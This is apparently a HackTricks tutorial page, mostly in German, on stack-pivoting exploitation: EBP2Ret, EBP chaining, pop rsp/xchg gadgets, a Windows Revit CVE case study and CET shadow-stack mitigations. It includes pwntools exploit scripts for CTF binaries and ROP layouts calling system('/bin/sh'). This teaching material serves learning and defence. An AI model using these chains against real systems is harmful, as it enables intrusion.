Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Diese Technik nutzt die Möglichkeit, den Base Pointer (EBP/RBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch geschickte Nutzung des frame pointers und der leave; ret
-Instruktionssequenz zu verketten.
Zur Erinnerung: auf x86/x86-64 ist leave
äquivalent zu:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Und da das gespeicherte EBP/RBP im stack vor dem gespeicherten EIP/RIP liegt, ist es möglich, es durch Kontrolle des Stacks zu steuern.
Hinweise
- Auf 64-bit EBP→RBP und ESP→RSP ersetzen. Die Semantik ist die gleiche.
- Manche Compiler lassen den Frame-Pointer weg (siehe “EBP might not be used”). In diesem Fall könnte
leave
fehlen und diese Technik funktioniert nicht.
EBP2Ret
Diese Technik ist besonders nützlich, wenn du das gespeicherte EBP/RBP verändern kannst, aber keinen direkten Weg hast, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktions-Epilogs.
Wenn es dir während der Ausführung von fvuln
gelingt, ein fake EBP auf den Stack zu injizieren, das auf einen Speicherbereich zeigt, in dem sich die Adresse deines Shellcode/ROP-Chains befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86 für das pop
), kannst du RIP indirekt kontrollieren. Beim Rückkehr der Funktion setzt leave
RSP auf die manipulierte Adresse und das anschließende pop rbp
verringert RSP, wodurch es effektiv auf eine vom Angreifer dort abgelegte Adresse zeigt. Anschließend wird ret
diese Adresse verwenden.
Beachte, dass du 2 Adressen kennen musst: die Adresse, auf die ESP/RSP gesetzt wird, und der Wert, der an dieser Adresse gespeichert ist und von ret
konsumiert wird.
Exploit-Konstruktion
Zuerst musst du eine Adresse kennen, an die du beliebige Daten/Adressen schreiben kannst. RSP wird hierhin zeigen und den ersten ret
konsumieren.
Dann musst du die Adresse wählen, die von ret
verwendet wird und die die Ausführung übernimmt. Du könntest verwenden:
- A valid ONE_GADGET address.
- The address of
system()
followed by the appropriate return and arguments (on x86:ret
target =&system
, then 4 junk bytes, then&"/bin/sh"
). - The address of a
jmp esp;
gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
Denk daran, dass sich vor jeder dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp
aus leave
befinden muss (8B auf amd64, 4B auf x86). Du kannst diese Bytes ausnutzen, um ein zweites fake EBP zu setzen und die Kontrolle nach dem Rückkehr des ersten Aufrufs zu behalten.
Off-By-One Exploit
Es gibt eine Variante, die verwendet wird, wenn du nur das niederwertigste Byte des gespeicherten EBP/RBP ändern kannst. In diesem Fall muss der Speicherort, der die Adresse enthält, zu der mit ret
gesprungen wird, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit eine 1-Byte-Überschreibung sie umleiten kann. Üblicherweise wird das niederwertige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.
Es ist auch üblich, ein RET-Sled im stack zu verwenden und die eigentliche ROP-Kette am Ende abzulegen, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds landet und die finale ROP-Kette ausgeführt wird.
EBP Chaining
Indem man eine kontrollierte Adresse in das gespeicherte EBP
-Feld des Stacks legt und ein leave; ret
Gadget in EIP/RIP
, ist es möglich, ESP/RSP
auf eine vom Angreifer kontrollierte Adresse zu verschieben.
Nun ist RSP
kontrolliert und die nächste Instruktion ist ret
. Lege im kontrollierten Speicher beispielsweise Folgendes ab:
&(next fake EBP)
-> Wird vonpop ebp/rbp
ausleave
geladen.&system()
-> Wird vonret
aufgerufen.&(leave;ret)
-> Nachdemsystem
endet, verschiebt es RSP auf das nächste fake EBP und fährt fort.&("/bin/sh")
-> Argument fürsystem
.
Auf diese Weise ist es möglich, mehrere fake EBPs zu verketten, um den Programmfluss zu kontrollieren.
Das ist ähnlich wie ein ret2lib, aber komplexer und nur in Randfällen nützlich.
Außerdem findest du hier ein Beispiel einer Challenge, das diese Technik mit einem stack leak verwendet, um eine winning function aufzurufen. Dies ist die finale Payload von der Seite:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 Alignment-Tipp: System V ABI verlangt eine 16-Byte-Stack-Ausrichtung an call sites. Wenn deine chain Funktionen wie
system
aufruft, füge vor dem Aufruf ein alignment gadget (z. B.ret
odersub rsp, 8 ; ret
) ein, um die Ausrichtung beizubehalten undmovaps
-Abstürze zu vermeiden.
EBP wird möglicherweise nicht verwendet
Wie in diesem Beitrag erklärt, wenn ein Binary mit bestimmten Optimierungen oder mit frame-pointer omission kompiliert ist, kontrolliert EBP/RBP niemals ESP/RSP. Daher wird jeder Exploit, der auf der Kontrolle von EBP/RBP beruht, fehlschlagen, weil der prologue/epilogue nicht vom frame pointer wiederhergestellt wird.
- Nicht optimiert / frame pointer verwendet:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimiert / Frame-Pointer ausgelassen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Auf amd64 sieht man häufig pop rbp ; ret
statt leave ; ret
, aber wenn der frame pointer vollständig weggelassen wird, gibt es keinen rbp
-basierten Epilog, durch den man pivotieren könnte.
Andere Möglichkeiten, RSP zu kontrollieren
pop rsp
gadget
In this page findest du ein Beispiel, das diese Technik verwendet. Für diese Challenge war es nötig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp
gadget und es gibt ein leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sieh dir die ret2esp-Technik hier an:
Pivot-Gadgets schnell finden
Verwende deinen bevorzugten gadget finder, um nach klassischen pivot primitives zu suchen:
leave ; ret
in Funktionen oder in Librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oderadd esp, <imm> ; ret
auf x86)
Beispiele:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassisches Pivot-Staging-Muster
Eine robuste Pivot-Strategie, die in vielen CTFs/exploits verwendet wird:
- Verwende einen kleinen initialen Overflow, um
read
/recv
in einen großen beschreibbaren Bereich (z. B..bss
, heap, oder gemappten RW-Speicher) zu rufen und dort eine vollständige ROP chain abzulegen. - Spring in ein pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
), um RSP in diesen Bereich zu verschieben. - Fahre mit der staged chain fort (z. B. leak libc, rufe
mprotect
auf, dannread
shellcode, und springe anschließend dorthin).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-seitige Parser implementieren manchmal destructor loops, die indirekt einen Funktionspointer aufrufen, der aus angreifer-kontrollierten Objektfeldern abgeleitet wird. Wenn jede Iteration genau einen indirekten Aufruf bietet (eine “one-gadget” machine), kannst du dies in einen zuverlässigen stack pivot und ROP entry umwandeln.
Beobachtet in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Künstlich erzeugte Objekte vom Typ
AString
platzieren einen Pointer auf Angreifer-Bytes bei Offset 0. - Die destructor loop führt effektiv pro Objekt ein Gadget aus:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Zwei praktische Pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget”, das
8B E0
→mov esp, eax
enthält und schließlichret
, um vom call primitive zu einer heap-basierten ROP-Chain zu pivotieren. - Windows 11 (full 64-bit addrs): nutze zwei Objekte, um einen constrained weird-machine pivot zu treiben:
- Gadget 1:
push rax ; pop rbp ; ret
(verschiebt originales rax nach rbp) - Gadget 2:
leave ; ... ; ret
(wirdmov rsp, rbp ; pop rbp ; ret
), pivotiert in den Buffer des ersten Objekts, wo eine konventionelle ROP-Chain folgt.
- Gadget 1:
Tipps für Windows x64 nach dem Pivot:
- Beachte den 0x20-Byte shadow space und halte 16-Byte-Ausrichtung vor
call
-Stellen ein. Es ist oft praktisch, Literale oberhalb der Rücksprungadresse zu platzieren und ein Gadget wielea rcx, [rsp+0x20] ; call rax
gefolgt vonpop rax ; ret
zu verwenden, um Stack-Adressen zu übergeben, ohne den Kontrollfluss zu beschädigen. - Non-ASLR helper modules (falls vorhanden) bieten stabile Gadget-Pools und Imports wie
LoadLibraryW
/GetProcAddress
, um Ziele wieucrtbase!system
dynamisch aufzulösen. - Erzeugen fehlender Gadgets via einem writable thunk: endet eine vielversprechende Sequenz in einem
call
über einen beschreibbaren Funktionspointer (z.B. DLL import thunk oder Funktionspointer in .data), überschreibe diesen Pointer mit einem harmlosen Ein-Schritt wiepop rax ; ret
. Die Sequenz verhält sich dann so, als hätte sie mitret
geendet (z.B.mov rdx, rsi ; mov rcx, rdi ; ret
), was sehr wertvoll ist, um Windows x64 Argument-Register zu laden, ohne andere zu clobbern.
Für vollständigen Chain-Aufbau und Gadget-Beispiele siehe die Referenz unten.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Moderne x86 CPUs und OSes setzen zunehmend CET Shadow Stack (SHSTK) ein. Mit aktiviertem SHSTK vergleicht ret
die Rücksprungadresse auf dem normalen Stack mit einem hardware-geschützten Shadow Stack; jede Abweichung löst einen Control-Protection fault aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-based pivots abstürzen, sobald das erste ret
von einem pivotierten Stack ausgeführt wird.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Hinweise für Labs/CTF:
-
Einige moderne Distros aktivieren SHSTK für CET-kompatible Binaries, wenn Hardware und glibc-Unterstützung vorhanden sind. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Boot-Parameter
nousershstk
deaktiviert werden, oder selektiv über glibc-Tunables beim Start aktiviert werden (siehe Referenzen). Deaktiviere keine Mitigations auf Produktionszielen. -
JOP/COOP- oder SROP-basierte Techniken können auf manchen Zielen weiterhin funktionieren, aber SHSTK bricht speziell
ret
-basierte pivots. -
Windows-Hinweis: Windows 10+ stellt user-mode und Windows 11 fügt kernel-mode “Hardware-enforced Stack Protection” auf Basis von shadow stacks hinzu. CET-kompatible Prozesse verhindern stack pivoting/ROP bei
ret
; Entwickler müssen sich via CETCOMPAT und zugehörigen Policies anmelden (siehe Referenz).
ARM64
In ARM64 werden die Prolog- und Epilogsequenzen von Funktionen das SP-Register nicht auf dem Stack speichern und wiederherstellen. Außerdem springt die RET
-Instruktion nicht zur Adresse, auf die SP zeigt, sondern zur Adresse im x30
.
Daher wirst du standardmäßig durch Ausnutzen des Epilogs nicht in der Lage sein, das SP-Register zu kontrollieren, indem du einige Daten auf dem Stack überschreibst. Und selbst wenn du das SP kontrollieren kannst, müsstest du trotzdem einen Weg finden, das x30
-Register zu kontrollieren.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
The way to perform something similar to stack pivoting in ARM64 would be to be able to control the SP
(by controlling some register whose value is passed to SP
or because for some reason SP
is taking its address from the stack and we have an overflow) and then abuse the epilogue to load the x30
register from a controlled SP
and RET
to it.
Auch auf der folgenden Seite kannst du das Äquivalent von Ret2esp in ARM64 sehen:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation mit einer rop chain, die mit einem ret sled beginnt
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, kein relro, canary, nx und pie. Das Programm gewährt einen stack- oder pie- leak und ein WWW eines qwords. Zuerst erhält man den stack leak und nutzt das WWW, um zurückzugehen und den pie leak zu bekommen. Dann benutzt man das WWW, um eine ewige Schleife zu erzeugen, indem
.fini_array
-Einträge missbraucht und__libc_csu_fini
aufgerufen werden (more info here). Durch das Ausnutzen dieses "ewigen" writes wird eine ROP-Chain in der .bss geschrieben und schließlich mittels Pivoting mit RBP aufgerufen. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK,
nousershstk
,/proc/$PID/status
-Flags und Aktivierung viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.